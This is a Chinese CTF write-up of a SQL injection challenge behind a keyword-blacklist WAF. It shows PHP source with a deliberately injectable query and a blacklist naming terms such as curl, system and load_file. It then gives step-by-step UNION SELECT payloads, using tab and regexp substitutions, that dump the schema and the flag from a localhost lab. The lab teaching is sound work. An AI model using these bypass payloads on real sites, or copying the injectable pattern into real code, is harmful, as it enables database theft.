前言
CTF集训的时候做到一条简单的sql绕waf注入的题目,这里给大家分享出来,并且给予分析
源码
【config.php】
//config.php
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "sju";
function stop_hack($value){
$pattern = "insert|delete|concat|concat_ws|group_concat|00|join|floor|--|=|#|*|\/\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|like|system| |eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
【index.php】
//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
分析
注:这里我把源代码文件放在了PHPstudy网站根目录的liwu文件夹下,所以访问地址为http://127.0.0.1/liwu/index.php
①由源码知禁用了–+、空格、like等代码
$pattern = "insert|delete|concat|concat_ws|group_concat|00|join|floor|--|=|#|*|\/\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|like|system| |eval";
②上网查询可以替代的,网址为:
过滤空格和注释符http://www.bubuko.com/infodetail-2301250.html
绕过技巧https://www.cnblogs.com/Vinson404/p/7253255.html
这里我们把regexp绕过等号,把%09绕过空格
③然后测试注入点http://127.0.0.1/liwu/index.php?id=1%09and%091%09regexp%091
显示and%091%09regexp%091时正确
and%091%09regexp%092时错误,所以得到 id=1为注入点。
④然后测试列数
当order%09by%094时有回显
order%09by%095时没回显,得到有四个列
⑤然后输入union select 1,2,3,4没有变化,所以让and 1=2,使前面的为非,得到回显
http://127.0.0.1/liwu/index.php?id=1%09and%091%09regexp%092%09union%09select%091,2,3,4
得到有四个显示位
⑥然后直接用database()函数爆出数据库名为sju
http://127.0.0.1/liwu/index.php?id=1%09and%091%09regexp%092%09union%09select%091,2,3,database()
⑦接着开始爆表名,为flag
http://127.0.0.1/liwu/index.php?id=1%09and%091%09regexp%092%09union%09select%091,2,3,table_name%09from%09information_schema.tables%09where%09table_schema%09regexp%09%22sju%22
⑧继续爆列名,还是为flag
http://127.0.0.1/liwu/index.php?id=1%09and%091%09regexp%092%09union%09select%091,2,3,column_name%09from%09information_schema.columns%09where%09table_name%09regexp%09%22flag%22
⑨查询flag表里的内容,得到flag为flag{Y0u_aR3_Go0d!!}
http://127.0.0.1/liwu/index.php?id=1%09and%091%09regexp%092%09union%09select%091,2,3,flag%09from%09flag